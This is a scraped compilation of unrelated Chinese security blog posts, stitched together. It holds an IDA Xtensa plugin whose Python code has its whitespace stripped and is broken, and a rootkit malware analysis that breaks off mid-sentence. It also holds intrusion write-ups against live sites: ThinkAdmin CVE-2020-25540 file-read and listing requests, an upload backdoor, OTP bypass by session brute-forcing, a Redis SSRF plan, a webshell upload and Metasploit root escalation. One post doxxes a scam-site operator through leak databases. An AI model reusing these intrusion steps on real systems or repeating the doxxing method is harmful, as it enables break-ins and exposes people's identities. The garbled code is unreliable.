DEBUG_PLUGIN=TrueNEWINSN_COLOR=COLOR_MACROifDEBUG_PLUGINelseCOLOR_INSNclassNewInstructions:(NN_quou,NN_last)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_IT YPE+2)lst={NN_quou:'quou'}defev_out_mnem(self,outctx):insntype=outctx.insn.itypeglobalNEWINSN_COLORif(insntype=CUSTOM_INSN_ITYPE)and(insntypeinN ewInstructions.lst):mnem=NewInstructions.lst[insntype]outctx.out_tagon(NEWINSN_COLOR)outctx.out_line(mnem)outctx.out_tagoff(NEWINSN_COLOR)#TODO:howcanMNEM_widthbedeterminedprogrammatically?MNEM_WIDTH=8width=max(1,MNEM_WIDTH-len(mnem))outctx.out_line(''*width)returnTruereturnFalse我們來解釋一下這個例子的要點：

ev_out_mnem從NewInstructions類獲取指令名稱並andoutctx.out_line在IDA 反彙編窗口中顯示文本。

標誌DEBUG_PLUGIN改變文本的顏色。您可以將其設置為默認顏色或宏的顏色，以使新指令脫穎而出，這在調試插件時非常方便。

ev_out_mnem輸出八個空格，為引擎輸出指令參數做好準備。因此，所有內容——代碼、空格、代碼註釋——都將被對齊。

3. 實現ev_out_operand方法要實現指令操作數的生成，您還可以重用ev_out_operand方法的現成代碼：

defev_out_operand(self,outctx,op):insn=outctx.insnifinsn.itypein[NewInstructions.NN_ld_hu,NewInstructions.NN_st_h]:ifop.type==o_displ:outctx.out_value(op,OOF_ADDR)outctx.out_register(ph_get_regnames()[op.reg])returnTruereturnFalse此代碼檢查該指令是否是您之前添加的指令。如果指令包含參數，則需要打印操作數。然後，您將獲得寄存器的名稱，插件將打印它。

現在，所有準備工作都已完成，您可以開始測試您創建的插件。

測試插件將插件放在\IDA\plugins目錄中，以便IDA 可以運行它。然後，加載包含未定義字節的IDA數據庫，將光標置於其上，然後按C創建指令：

image.png

屏幕截圖3. 在IDA 中創建新的QUOU 指令

添加對QUOU 指令的支持後，IDA 每當遇到該指令時都會自動識別該指令。此處指令的顏色與其他指令的顏色不同，因為我們DEBUG_PLUGIN在此示例中啟用了該標誌。如果您決定禁用該標誌，指令的顏色將與代碼的其餘部分相同。

我們示例的完整NECromancer 插件源代碼如下：

fromida_linesimportCOLOR_INSN,COLOR_MACROfromida_idpimportCUSTOM_INSN_ITYPE,IDP_Hooks,ph_get_regnames,ph_get_id,PLFM_XTENSAfromida_bytesimportget_bytesfromida_idaapiimportplugin_t,PLUGIN_PROC,PLUGIN_HIDE,PLUGIN_SKIP,PLUGIN_KEEPfromida_uaimporto_displ,o_reg,o_ imm,dt_dword,OOF_ADDRfromstructimportunpackDEBUG_PLUGIN=TrueNEWINSN_COLOR=COLOR_MACROifDEBUG_PLUGINelseCOLOR_INSNclassNewInstructions:(NN_quou,NN_muluh)=range(CUSTOM_INSN_ITYPE,CUSTOM_INSN_ITYPE+2)lst={NN_quou:'quou',NN_muluh:'muluh'}#------------ --------------------------------------------------------------classxtensa_idp_hook_t(IDP_Hooks):def__init__(self):IDP_Hooks.__init__(self)defdecode_instruction(self,insn):buf=get_bytes(insn.ea,3)#print('%08Xbytes%X%X%X'%(insn.ea,buf[2],buf[1],buf[ 0]))ifbuf[2]==0xC2and(buf[0]0xF)==0:insn.itype=NewInstructions.NN_quouinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTrueifbuf[2]==0xA2and(buf[0]0xF)==0:insn.ityp e=NewInstructions.NN_muluhinsn.size=3insn.Op1.type=o_reginsn.Op1.reg=buf[1]4insn.Op2.type=o_reginsn.Op2.reg=buf[1]0xFinsn.Op3.type=o_reginsn.Op3.reg=buf[0]4returnTruereturnFalsedefev_ana_insn(self,insn):returnself.decode_instruction(insn)defev_out_mnem(se lf,outctx):insntype=outctx.insn.itypeglobalNEWINSN_COLORif(insntype=CUSTOM_INSN_ITYPE)and(insntypeinNewInstructions.lst):mnem=NewInstructions.lst[insntype]outctx.out_tagon(NEWINSN_COLOR)outctx.out_line(mnem)outctx.out_tagoff(NEWINSN_COLOR)#TODO:ho wcanMNEM_widthbedeterminedprogrammatically?MNEM_WIDTH=8width=max(1,MNEM_WIDTH-len(mnem))outctx.out_line(''*width)returnTruereturnFalsedefev_out_operand(self,outctx,op):insn=outctx.insnifinsn.itypein[NewInstructions.NN_ld_hu,NewInstructions.NN_st_h]:if op.type==o_displ:outctx.out_value(op,OOF_ADDR)outctx.out_register(ph_get_regnames()[op.reg])returnTruereturnFalse#--------------------------------------------------------------------------classXtensaESP(plugin_t):flags=PLUGIN_PROC|PLUGIN_HIDEcomment=''

HireHackking

0x01 thinkadmin历史漏洞复习

已经找到对方的app的后台地址是thinkadmin，因此我们需要去复习thinkadmin的历史漏洞。

CVE-2020-25540
https://github.com/zoujingli/ThinkAdmin/issues/244
利用POC如下
https://github.com/Schira4396/CVE-2020-25540
列目录

POST /?s=admin/api.Update/node
rules=["runtime/"]

文件读取

/?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b363932382x312t1b

其本质大概想设计出来一个能让第三方去对比服务器上的系统web文件的功能，结果因为目录穿越造成任意目录读取。虽然有一定限制，但危害还是非常非常大，因此后续更新直接将这个功能下架。
还有一个没有CVE的反序列化漏洞
https://github.com/zoujingli/ThinkAdmin/issues/238
存在两处接口，其中一处正是上面列目录功能的rules传参。

POST /?s=admin/api.Update/node
rules=payload

另外一处则是

POST /?s=wechat/api.Push/index
receive=payload


0x02  第一份源码

因为官方已经不提供旧版源码下载，所以我第一时间去其他地方找到了一份使用thinkphp5.1.38的旧版源码。检测了下，其有如下漏洞。
application/wechat/controller/api/Push.php
两处反序列化只修复了一处。

图片

application/admin/controller/api/Update.php
列目录和任意文件读取的路由稍微变了一下，而且列目录无法用rules传参进行控制，只能列web根目录。但任意文件读取取消了各种限制，这意味着可以直接读config/database.php获取数据库配置。

图片

获取了数据库配置之后，数据库如果能够外连就可以深入一点利用。
application/admin/controller/api/Plugs.php

图片

这个是thinkadmin自带的文件上传接口，正如很多cms设计的一样，其白名单storage_local_exts在数据库或者系统后台中都能进行配置。正常来说，我们可以利用这个进行getshell操作，但很明显，如果直接给白名单加上php，过不去第四个if，且后台的系统配置中也有拦截。
application/admin/controller/Config.php

图片

我们如果直接操作数据库，可以绕过后台配置限制，但绕不过upload()的限制。
很显然，只过滤php是不够的，如果对方是windows服务器，我们还有php::$DATA可选，如果对方是apache且进行了错误的配置，我们还有php3/php4/php5/php7/pht/phtml/phar这些可能的解析后缀。

0x03  第二份源码


然而第一份源码除了熟悉thinkadmin架构之外没有任何卵用。因为目标是thinkphp6.0.3的，而且漏洞也和第一份不一样，不存在反序列化。不过还是存在列目录和文件读取，而且和历史漏洞一模一样。
app/admin/controller/api/Update.php

图片

但是在列目录时，碰到了一个问题。

图片

这是因为我列的是web根目录，如果对方项目巨大，或者某个文件夹没有权限，就会导致报错，这个时候就需要针对性列目录，以./app和./runtime为主。

图片

图片

读./app可以获取controller路径，在原版thinkadmin中，突破口并不多，但这种程序很多都是二开的，对比原版thinkadmin那些没有的controller，就可能直接审计出漏洞。审计漏洞需要配合任意文件读取，具体该怎么读请回顾前面的。总而言之，有了CVE-2020-25540我们等于获取了其源码。

这个程序就很容易发现一个SQL注入。
/app/admin/controller/api/Main.php

图片

图片

然而等我吭呲吭呲的注出密码后却发现，登录需要OTP验证，没办法，继续审计。

/app/admin/controller/Posting.php

图片

非常愚蠢的命令拼接，同位置有三处，但都需要后台权限，而且最后发现exec()被disable_functions了，所以无法利用。

/app/admin/controller/api/Upload.php

图片

最后一处是在朋友的提醒下发现的，这乍一看不就是thinkadmin自带的上传吗？前面分析过需要特定环境才能利用，所以我就直接跳过了。结果居然多了个xkey传参可以完全控制$this->name，很难不让人怀疑这是个后门。最后getshell是这样的。

图片

但这个上传接口也需要后台权限，怎么办呢？这个时候就轮到thinkphp经常用到的./runtime出场了。
读runtime/admin/log/single_error.log这个文件很容易发现它记录了一系列的session报错。

图片

而且我们可以知道，这套程序用的php原版session，而且没有放在/tmp或者/var/lib/php/sessions/中，而是runtime/session。那就简单了，我们直接利用列目录列出所有session，然后进行爆破。

图片

这样就可以直接进入后台绕过了OTP限制，接下来再用它的xkey后门getshell就行了。

图片

0x04  另类脑洞


万一没有后门怎么办呢？这套系统是linux+nginx，无法绕过thinkadmin原版upload限制。
但在后续代码审计中，我发现了其有个图床服务器。

图片

这台被getshell的服务器(A)，可以带file_paths参数访问图床服务器(B)的一个接口，其目的是为了让服务器B反过来下载服务器A上面的图片备份下来。为什么我会知道这点呢？
因为服务器B更加千疮百孔，直接访问这个接口就会发现。

图片

不但因为debug泄露了源码，而且这个命令拼接也太赤裸裸了，甚至可以直接当shell用。

图片

所以我们完全可以在不拿下服务器A的情况下，通过任意文件读取和代码审计直接拿下服务器B。
拿下服务器B又有什么用呢？服务器A是会用curl请求服务器B的，这种情况下，可以篡改服务器B的代码，将接口改成302跳转，然后修改协议为gopher，就可以打到服务器A的本地端口了。
如果服务器A的本地存在fpm的9000端口，以及redis的6379端口，就可以这样曲折的进行SSRF getshell，这种案例在discuz的SSRF漏洞上经常能得到利用。

这次虽然没9000 fpm，但却有redis，redis密钥和端口也在config/cache.php存储着，而且web目录恰好是777权限，完全符合gopher打本地redis的条件。

当然，最终我并没有进行尝试，但理论上完全没有问题。


转载于原文链接： https://mp.weixin.qq.com/s/BuHJuQh3lyaq1SmY2xKl3g


HireHackking

4.研究Xtensa架構特性現在我們已經將所有段加載到適當的地址，我們可以開始逆向工程了。

但為了高效地做到這一點，我們需要更多地了解Xtensa 架構，包括：

1.指令中的參數順序

2.條件跳轉的執行細節

3.編譯器調用約定

4.堆棧組織

首先要探索的是指令中的參數順序。例如：MOV R1, R2.您可以在所有架構中找到此類指令，但這可能意味著將R1 複製到R2 或將R2 複製到R1。因此，了解指令中源代碼的位置以及目標寄存器的位置至關重要。您可以在GitHub 上找到Xtensa 指令集描述。

至於該MOV指令，在Xtensa中，表示將R2複製到R1。因此，第一個參數將是大多數簡單指令（例如數學相關指令）中的目的地。例如，指令addi a14, a1,0x38意味著a14=a1 +0x38。

但對於存儲數據的指令，情況則相反。例如，該指令s32i.n a5, a1,0x10意味著的值a5必須存儲在地址處(a1 +0x10)。

要學習的第二件事是條件跳轉的完成方式。有兩種方法可以做到這一點：

1.使用專用指令進行比較操作，設置標誌寄存器，然後進行條件跳轉。

2.使用一條指令一次性執行所有這些操作。

Xtensa 執行後者：beqz a10, loc_400E1C54

使用單個指令來檢查是否a10等於零，然後它要么跳轉到loc_400E1C54，要么不跳轉。

第三步是檢查編譯器使用的調用約定：將參數傳遞給函數的方式以及如何返回值。

Xtensa 以一種非常不尋常的方式傳遞參數。參數在調用指令之前放入寄存器中。但它們在函數中出現的寄存器與調用之前所在的寄存器不同：

image.png

以下是如何在彙編程序級別將參數傳遞給函數的示例：

image.png

這裡我們有三個論據：

a10 是目的地址

a11 是源地址

a12 是要復印的尺寸

然而，一旦代碼進入memcpy函數，這些值就會自動分別傳輸到a2、a3和a4寄存器中。

同樣的技巧也用於返回值。在memcpy函數內部，該值存儲在寄存器中a2，但從函數返回後，該值出現在a10.

返回的樣子如下0：

image.png

這就是檢查返回值的樣子：

image.png

benz.na10在從調用返回時檢查寄存器的值。

最後，有必要了解堆棧是如何組織的。

Xtensa 使用a1 寄存器來創建堆棧幀。每個函數都以入口指令開始：entry a1,0xC0，其中0xC0是堆棧幀的大小，即函數需要用於堆棧變量的堆棧量。

通常，這些函數從初始化堆棧變量開始：

image.png

寄存器中的零值a5被寫入基於a1寄存器的堆棧變量中。

在獲得有關Xtensa 架構的所有必要知識後，我們終於可以開始逆向其代碼了。

5. 在IDA 中對Xtensa 代碼進行逆向工程與ARM、MIPS 和PowerPC 相比，Xtensa 不是最流行的架構，並且沒有完整的功能列表。因此，IDA處理器模塊會存在一些我們需要克服的限制。

IDA 中Xtensa 處理器模塊的主要限制是：

函數參數沒有自動註釋

堆棧幀不會自動創建

一些ESP32 函數屬於IROM，因此存在對硬編碼地址的調用

部分Xtensa指令未反彙編

讓我們討論一些克服這些挑戰的技巧。

5.1.函數參數的類型系統和註釋從IDA 7.7 開始提供Xtensa類型系統。在IDA 中擁有可用的類型系統非常重要，因為它使逆向變得方便。特別是，它允許您導入C 結構的定義並指定IDA 使用的函數原型，以便在傳輸函數參數的指令附近放置自動註釋。

但是，如果您沒有類型系統，還有一個解決方法。

首先，讓我們看看有類型系統時函數是什麼樣子的：

image.png

屏幕截圖13. 當有可用的類型系統時函數的外觀

函數原型設置有參數的名稱和類型，以便IDA 可以使用此信息在調用站點註釋參數：

image.png

屏幕截圖14. 函數原型

但Xtensa 不會有這樣的事情。另一種方法是使用IDA 中的可重複註釋功能。如果您在函數的開頭設置可重複的註釋，它將顯示在所有調用站點上。

image.png

屏幕截圖15. 設置可重複註釋

image.png

屏幕截圖16. 可重複的註釋顯示在所有調用站點上

因此，我們可以使用此功能來定義函數參數：

image.png

屏幕截圖17. 使用可重複註釋功能定義函數參數

調用站點將如下所示：

image.png

屏幕截圖18. 調用站點

您可以在註釋中選擇寄存器名稱，IDA 會在代碼中突出顯示它。因此，您可以輕鬆找到參數值。

5.2.恢復堆棧幀要恢復堆棧幀，您需要手動指定堆棧大小，然後通過在每個與堆棧一起使用的指令處按K 鍵來顯示IDA 的使用位置。

讓我們探索一下config_router_safe函數，例如：

image.png

屏幕截圖19. config_router_safe 函數

很明顯這裡的棧幀大小是0xC0。我們在函數的堆棧設置中使用該值(Alt+P)：

image.png

屏幕截圖20. 使用0xC0 值（堆棧幀大小）

從視覺上看，什麼也不會發生，但是如果您通過按Ctrl+K 轉到該函數的堆棧幀，您會注意到堆棧空間現在已分配：

image.png

屏幕截圖21. 分配堆棧空間

接下來要做的是使用entry指令指定堆棧移位。在此之前，我們建議啟用堆棧指針可視化，如下面的屏幕截圖所示：

image.png

屏幕截圖22. 啟用堆棧指針可視化

現在，代碼應該如下所示：

image.png

屏幕截圖23.啟用堆棧指針可視化後的代碼

000是當前堆棧指針移位值，我們需要將其移位0xC0。為此，請將光標置於入口指令處，然後按Alt+K以查看以下窗口，您可以在其中指定新舊堆棧指針之間所需的差異：

image.png

屏幕截圖24. 將當前堆棧指針值移動0xC0

作為此操作的結果，代碼將如下所示：

image.png

屏幕截圖25. 移動當前堆棧指針移位值後的代碼

現在，如果您開始在與寄存器一起使用的每條指令處按Ka1，IDA 將創建堆棧變量：

image.png

屏幕截圖26.IDA 創建新的堆棧變量

還可以編寫IDA 腳本來自動執行這些操作。

5.3.調用IROM調用位於CPU 的IROM 部分而不是固件中的某些低級API 的情況並不少見。在這種情況下，固件僅與包含定義的IROM 函數地址的特殊鏈接器定義文件鏈接。

在逆向期間，IROM 函數調用如下所示：

image.png

屏幕截圖27. IROM 函數調用

40058E4C是IROM 內的地址。但不可能知道固件調用了哪個函數。因此有必要檢查ESP32 工具鏈以查找鏈接器定義。

ESP32 芯片的IDE 是Espressif IDE。在IDE 文件中搜索IROM 地址，我們會找到：C:\Espressif\frameworks\esp-idf-v4.4.2\components\esptool_py\esptool\flasher_stub\ld\rom_32.ld

image.png

屏幕截圖28. ESP32 ROM 地址表

這些值可以輕鬆轉換為枚舉數據類型：

image.png

屏幕截圖29. 將值轉換為枚舉數據類型

然後，我們需要導入IDA，以便將enum 應用於IROM 地址值：

image.png

屏幕截圖30. 將枚舉應用於IROM 地址值

如果我們在IROM 地址附近添加可重複的註釋，它將使所有內容更容易閱讀：

image.png

屏幕截圖31. 在IROM地址附近添加可重複註釋後的代碼

5.4.無法識別的指令經常發生的情況是，處理器模塊已針對指令集的某些特定變體實現。然後製造商製造出具有99% 兼容指令集的新CPU，其中包含10 多個新指令，這是最初沒人想到的。因此IDA、Ghidra和Radare等工具可能無法反彙編一些新指令。

克服這一挑戰的正確方法是擴展處理器模塊並添加對新指令的支持。這需要對反彙編器API 有深入的了解，而這些API 並不那麼容易理解。

讓我們討論一種可能的解決方法，用於解決以下情況：儘管存在一些無法識別的指令，但您只想讓IDA 創建函數。假設IDA 不知道RER 指令，並且在包含RER 操作碼的情況下無法創建該函數：

image.png

屏幕截圖32. 如果函數包含RER 操作碼，IDA 無法創建該函數

您可以按P多次。除了控制台窗口中出現錯誤外，不會發生任何事情：

image.png

屏幕截圖33. 控制台窗口中的錯誤

但是，這並不意味著IDA 無法創建遵循RER 指令的指令。您可以跳過RER 指令的三個字節，然後創建代碼：

image.png

屏幕截圖34. 跳過RER 指令的三個字節後創建代碼

接下來，您可以選擇從輸入到最後的整段代碼retw.n，然後按P：

image.png

屏幕截圖35. 選擇從Entry 到retw.n 的整段代碼

之後，IDA 將創建該函數：

image.png

屏幕截圖36.IDA 創建一個函數

通常，反彙編程序無法識別的擴展指令在逆向過程中不會產生太大差異。可能導致問題的是執行調用、跳轉或加載/存儲等操作的新指令，因為代碼流丟失並且對數據的引用丟失。

結論對於涉及逆向工程物聯網固件的項目來說，在轉向業務邏輯之前研究未知的硬件架構至關重要。儘管逆向工程師可能需要幾週的時間來學習該架構，但從長遠來看，這種深入的研究有助於提高進一步工作的速度。

HireHackking
在鹰图中找TSRC资产准备挖腾讯SRC时候看到此站点域名:qq.com.xxxx.top,标题为登录图片第一感觉不是正经站应该是钓鱼站whois查询到的图片webpack打包的图片这种站点基本都会有一些测试账号,试了试18888888888密码123456图片看到这个基本确定这就是个做任务赚佣金的那种,主打的就是一个骗钱图片图片图片F12翻找请求和js找到,加载的资源文件报错, 用的thinkphp但是没洞,真是IP也有了找到后台伪装的挺好的叫xxx打卡系统  图片通过fofa查ip找到其他资产,ip访问发下是一个企业建站模版页面,ip后面加个admin跳到企业建站后台实话这个真烂图片在ip后面家入/x又是thinkphp5.0.5的笑死,验证存在rce那个做任务赚佣金的站点还没有好好测简单收集信息,找到旁站进去了基本上数据库配置都在data 或者config图片图片md5解密管理员密码,进后台看看其他信息不怎么关注,主要找站点管理员

图片

图片

1.敏感手机号通过推荐人号很频繁就是一个手机号,139xxxx2.管理员登录日志分析:可疑ip定位在四川3.通过手机号查到微信,和支付宝查到这个人4.通过社工库查到此人QQ,微博以及本人照片

图片

图片

图片

图片

图片



转载于原文链接： https://mp.weixin.qq.com/s/9M0HEP1x-5Xt1JQeyVDrGA
HireHackking

我們會在本文對一個帶簽名的rootkit進行分析，它的主要二進制函數是一個通用加載程序，使攻擊者能夠直接加載第二階段的未簽名內核模塊。

在趨勢科技最近的一次調查中，研究人員發現了一個有趣的攻擊活動，他們最初認為這是檢測微軟簽名文件時的誤報。然而，追踪發現，這是一個新出現的簽名rootkit，它與一個大型命令和控制(CC)基礎設施通信，用於我們目前正在跟踪的未知攻擊者，我們認為這與rootkit FiveSys背後的攻擊者相同。其攻擊目標是中國的遊戲行業。惡意軟件似乎已經通過了Windows硬件質量實驗室(WHQL)獲得了有效簽名。 WHQL簽章要求確保所有驅動程序是獲得OS廠商驗證及簽章，但這類簽章無法保證出於真正App開發商之手。這顯示惡意程序作者想利用微軟簽章制度，讓用戶誤以為它是合法驅動程序而安裝。研究人員已在2023年6月向微軟安全響應中心(MSRC)報告了他們的發現。

主二進製文件充當通用加載程序，允許攻擊者直接加載第二階段未簽名內核模塊。每個第二階段插件都是針對部署它的受害設備自定義的，有些甚至包含針對每台設備的自定義編譯驅動程序。每個插件都有一組要從內核空間執行的特定操作。

發現的變體由八個主要集群組成，這些集群基於從簽名(Authenticode)中的SPC_SP_OPUS_INFO字段中提取的特定於供應商的元數據，揭示了這些變體代表其簽名的各種發布者。

1.png

每個集群中的示例數量

2.png

2022年和2023年使用微軟門戶網站簽署的驅動程序數量

攻擊者目前使用不同的方法對其惡意內核驅動程序進行簽名，通常包括：

濫用微軟簽名門戶；

使用洩露和被盜的證書；

使用黑市服務；

接下來，我們將介紹一種明顯遵循第一種方法的攻擊：濫用WHQL在惡意驅動程序上獲得有效簽名，該惡意驅動程序可以在最新的Windows版本上成功加載。我們還將提供這種新發現的惡意軟件的技術細節，該惡意軟件是由微軟直接簽名的獨立內核驅動程序，這是一種不斷發展的攻擊技術，現在出現的非常頻繁。儘管構建這樣的能力非常複雜，但當前的攻擊者似乎很熱衷於這些工具、策略和程序(TTP)。

3.png

作為獨立內核驅動程序由Microsoft直接簽名的惡意軟件

WHCP濫用史下圖顯示了Windows硬件兼容性程序(WHCP)濫用史，這些報告導致了Windows內核信任模型的妥協。 2021年6月，Netfilter rootkit被報導，之後微軟發布了一份報告，詳細說明它被用作遊戲社區中地理定位作弊的手段。 Bitdefender隨後在2021年10月披露了FiveSys，這是一個主要用於在線遊戲玩家的rootkit，主要目的是竊取憑證和在遊戲中購買劫持。最後，Mandiant報告了已知的最後一次濫用，揭露了Poortry惡意軟件，該惡意軟件已被用於許多網絡攻擊，包括基於勒索軟件的事件。

4.png

WHCP發生時間表

現代rootkit的檢測方法在引入內核模式代碼簽名(KMCS)策略機制的時代，隨著64位簽名驅動程序的數量增加，現在尋找64位簽名的rootkit並不那麼容易，如下圖所示。由於現代內核rootkit的開發成本更高，而且將內核rootkit納入其惡意軟件庫的技術能力不足，或者可以訪問繞過新Windows版本中添加的安全防御所需的技術，這使得檢測這類攻擊變得更加困難。

5.png

2015年前後檢測到的一次以上已簽名驅動程序總數

如下圖所示，研究人員根據以下內容評估了Windows內核驅動程序示例：

他們簽署的驅動程序簽名被吊銷；

它們有一個或多個基於惡意軟件搜索引擎的誤報檢測，包括VirusTotal惡意軟件存儲庫：

Set 1：未被吊銷且無誤報檢測的已簽名驅動程序；

Set 2：未被吊銷且有一個或多個來自不同引擎的誤報檢測的已簽名驅動程序；

Set 3：已被吊銷且無誤報的簽名驅動程序；

Set 4：已被吊銷的簽名驅動程序，其中包含來自不同引擎的一個或多個誤報。

6.png

Windows內核驅動程序基於其簽名驅動程序被吊銷或以其他方式進行採樣，並且它們具有一個或多個誤報檢測。

從Set 1和Set 2中尋找新的示例提交以查找攻擊這樣就可以研究這個新出現的示例集群和服務於第二階段插件的底層CC基礎設施。

7.png

從2020年到2022年5月，屬於示例Set 2的內核驅動程序提交數量增加

第一階段分析根據從這次活動中收集的示例，我們確定了兩個不同的集群，它們的示例之間有多個相似之處。研究人員觀察到一種模式，即使用VMProtect對一些示例進行模糊處理，然後在沒有任何模糊處理的情況下對具有更多功能的較新示例進行簽名，這表明這些示例背後的攻擊者仍處於測試和開發階段。

8.png

有很多相似之處的兩個不同集群

大多數示例都是“Microsoft Windows Hardware Compatibility Publisher”簽名的驅動程序。下面我們將對第一個集群中的一個示例進行分析。

驅動程序首先檢查加載到內存中的驅動程序上是否有另一個實例，方法是嘗試打開由驅動程序在初始化期間創建的符號名稱“\？\ea971b87”。如果成功打開，DriverEntry返回的錯誤代碼“0FFFFCFC7”將停止加載驅動程序。然後，如果驅動程序尚未加載，它將創建一個符號名稱“\？\ea971b87”，並初始化其處理程序的函數。基於我們觀察到的當前變體，它僅使用“IRP_MJ_DEVICE_CONTROL”和“IRP_J_SHUTDOWN”。

9.png

檢查驅動程序是否已經加載

10.png

初始化IO處理程序

11.png

註冊關閉通知處理程序

然後，驅動程序檢查二進制編譯是調試構建還是發布，如下圖所示。在調試構建的情況下，它在整個執行過程中打印一些調試消息，這表明目前的產品仍在開發和測試中。然後，驅動程序通過編輯註冊表禁用用戶帳戶控制(UAC)和安全桌面模式，並初始化Winsock內核(WSK)對象，以啟動CC服務器的網絡活動。

12.png

檢查編譯是否是調試構建的

13.png

禁用UAC然後初始化WSK對象

14.png

從“IRP_J_DEVICE_CONTROL”設備控制處理程序掛接文件系統堆棧

第一階段網絡初始化第一階段驅動程序負責與CC服務器之間的所有網絡通信。它使用WSK（一種內核模式的網絡編程接口）從內核空間啟動所有通信。使用WSK，內核模式軟件模塊可以使用用戶模式Winsock2支持的相同套接字編程概念執行網絡I/O操作。

它使用域生成算法（DGA）生成不同的域。如果它無法解析地址，它會直接連接到硬編碼在驅動程序內部的輻射ip，它連接到端口80上的驅動程序，並創建一個TCP套接字用於通信。

15.png

wsk創建的套接字類型

16.png

解析DNS

17.png

解析DNS

18.png

來自第一階段驅動程序的DNS請求

19.png

連接CC服務器

然後，它定期連接到CC服務器以獲取配置。它可以選擇作為內核驅動程序加載程序：

它逐字節地接收來自CC服務器的數據；

它對接收到的數據進行解碼和解密；

它將接收到的內核驅動程序直接加載到內存中，而不將其寫入磁盤；

它解析接收到的可移植可執行文件（PE）並執行所有重新定位；

它調用驅動程序入口點；

這樣，內核插件就永遠不會接觸磁盤，只會在內存中，這使得它更隱蔽，並使其能夠繞過檢測。

20.png

解碼從CC服務器接收到的數據

21.png

接收第一階段的配置

22.png

解析用於加載新接收到的驅動程序的函數地址

23.png

獲取驅動程序入口地址

24.png

調用驅動程序入口函數

第二階段插件下載的第二階段驅動程序是自簽名的，因為它完全由第一階段加載程序加載，繞過Windows本機驅動程序加載程序。因此，不需要對這些第二階段的變體進行簽名。它打開文件“C:\WINDOWS\System32\drivers\687ae09e.sys”，然後讀取數據並對其進行編碼。然後，它將數據劃分為內存塊並將其寫入註冊表路徑“\ registry \Machine\Software\PtMyMem”及其大小和MD5。之後，它從磁盤中刪除文件“C:\WINDOWS\System32\drivers\687ae09e.sys”。

25.png

第二階段的自簽名驅動程序

26.png

讀取文件

27.png

文件信息

28.png

註冊表中的編碼文件

29.png

刪除寫入磁盤的文件

實現持久性第一階段關閉通知函數檢查是否已從CC服務器接收到內核插件並將其加載到內存中，以便進行清理。它還檢查註冊表項“\ registry \Machine\Software\PtMyMem”，如果它出現，則迭代其所有子鍵並解碼數據，將其寫入磁盤“C:\WINDOWS\System32\drivers\687ae09e”。 sys”路徑。最後，它創建一個名為“BaohuName”的服務，該服務將在系統再次啟動時運行。

第一階段和第二階段（從CC服務器下載的插件）作為攻擊者自我保護和持久性方法的一部分協同工作。該技術與從CC服務器下載的內核插件相結合，將成為該驅動程序的主要持久性機制。對這個特定的第二階段插件的詳細分析如下：

第一階段驅動程序連接CC服務器並下載第二階段驅動程序；

第二階段驅動程序從磁盤讀取第一階段驅動程序並將其寫入註冊表，然後從磁盤刪除；

第一階段和第二階段的驅動器只存在於內存中；

在重新啟動之前，執行第一階段關閉通知例程；

關機例程將從註冊表中自我讀取，自我寫回磁盤，並創建一個服務，該服務將在下次系統重新啟動時啟動。

Defender停止器插件此驅動程序的主要目標是停止Windows Defender。它首先從註冊表項“HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender”禁用反間諜軟件檢測，禁用“SecurityHealthService”服務，並停止殺毒檢測。

30.png

停止反間諜軟件檢測

31.png

停止“SecurityHealthService”服務

32.png

禁用殺毒檢測

然後在“映像文件執行選項”註冊表中為所有Windows Defender進程添加一個條目，因此當其中任何一個進程崩潰時，另一個進程將啟動。將啟動的可執行文件是“C:\\Users\\Administrator\\Desktop\\111111111.exe”，這表明這些插件是自定義的，攻擊者正在根據需要積極開發新的插件。它最終會終止所有Windows Defender進程。

33.png

將條目添加到映像文件執行選項

34.png

映像文件執行中的調試器值

35.png

映像文件執行中的調試器值

36.png

Windows Defender進程

37.png

終止進程

代理插件此插件負責在設備上安裝代理，並將web瀏覽流量重定向到遠程代理設備。它首先編輯Windows代理配置“hxxp[:]//4dpyplftay8g90qb7l.kkvgsytcw4hsn3g0nc5r[.]xyz:17654/api/pac/PacReback?key=10252”。

38.png

編輯的Windows代理配置

然後，它在瀏覽器中註入一個JavaScript，根據

HireHackking

0X00       歪打正着

无意间碰到一套垃圾菠菜网站杀猪盘

图片

图片

挨个访问能扫描出来的目录与文件发现并没有太大作用，不过发现了后台地址。phpmyadmin访问500。

图片

图片

访问xd.php到后台访问发现还需要授权验证码

图片

试了下8888，123456之类的都提示错误，当场关闭。

图片


尝试子域名爆破也只有一个。Nmap扫描也没有什么发现。返回首页发现url有点不常见。

图片

0X01    寻找同类型网站以及源码

这种搞诈骗的很少会开发肯定源码是从网上下载找人搭建的，不常见就是特征，于是搜索了下。

图片图片


0X02    开始审计

这么多网站那源码肯定烂大街了，于是花了点时间找到了源码，尝试审计。

图片

下载回来源码用seay扫描下，源码又太大我也懒得去本地搭建，直接用源码对着目标进行怼。

图片


从中发现了个fileupload.php文件好像有点问题。

图片

访问目标发现也存在该文件。把该文件提取出来到本地搭建的环境中做测试。

图片

直接访问会自动创建出upload和upload_tmp两个文件夹，这玩意是个demo这个点其实看起来更像个后门。

图片

图片

并且filename变量完全是可控的。

图片

继续往下看发现一些判断，可以表单上传名就为file。

文件上传

其他的就不用管了，直接改个上传表单。只要加上参数name和file就行了。


图片

name参数控制上传文件名为aaa.php

图片


选择1.jpg上传

图片

上传后没有返回路径但是在upload下已经存在aaa.php文件。

SQL注入

图片

变量中where的值又是来自request中，并且上面的checkinput中也没有检测type的值。

图片

跟入betListCnt

图片图片没有任何处理就直接带入查询了，类似点还有许多。

0X03    验证审计到的漏洞

图片

通过之前的上传拿到webshell，尝试提权。

图片

发现是debian的。发现有6379端口但是不是root用户启动的redis

图片

图片

看了下内核版本感觉应该可以，尝试寻找提权exp。

图片

生成msf马

图片

为了方便我就用msf上线了这台机器。然后寻找对应的提权exp。

0X04    尝试提权

找到这两个CVE-2019-13272、CVE-2017-16995当我在github上找利用工具的时候，我想起msf其实也自带提权的。于是尝试搜索了下

图片

搜到了就利用

图片

图片

结果当场失败

图片

尝试第二个CVE-2017-16995

图片

图片

图片成功返回一个root权限的会话，提权完毕


转载于原文链接： https://mp.weixin.qq.com/s/Yh0qq5imlfHhNQnbtPfxcA

HireHackking

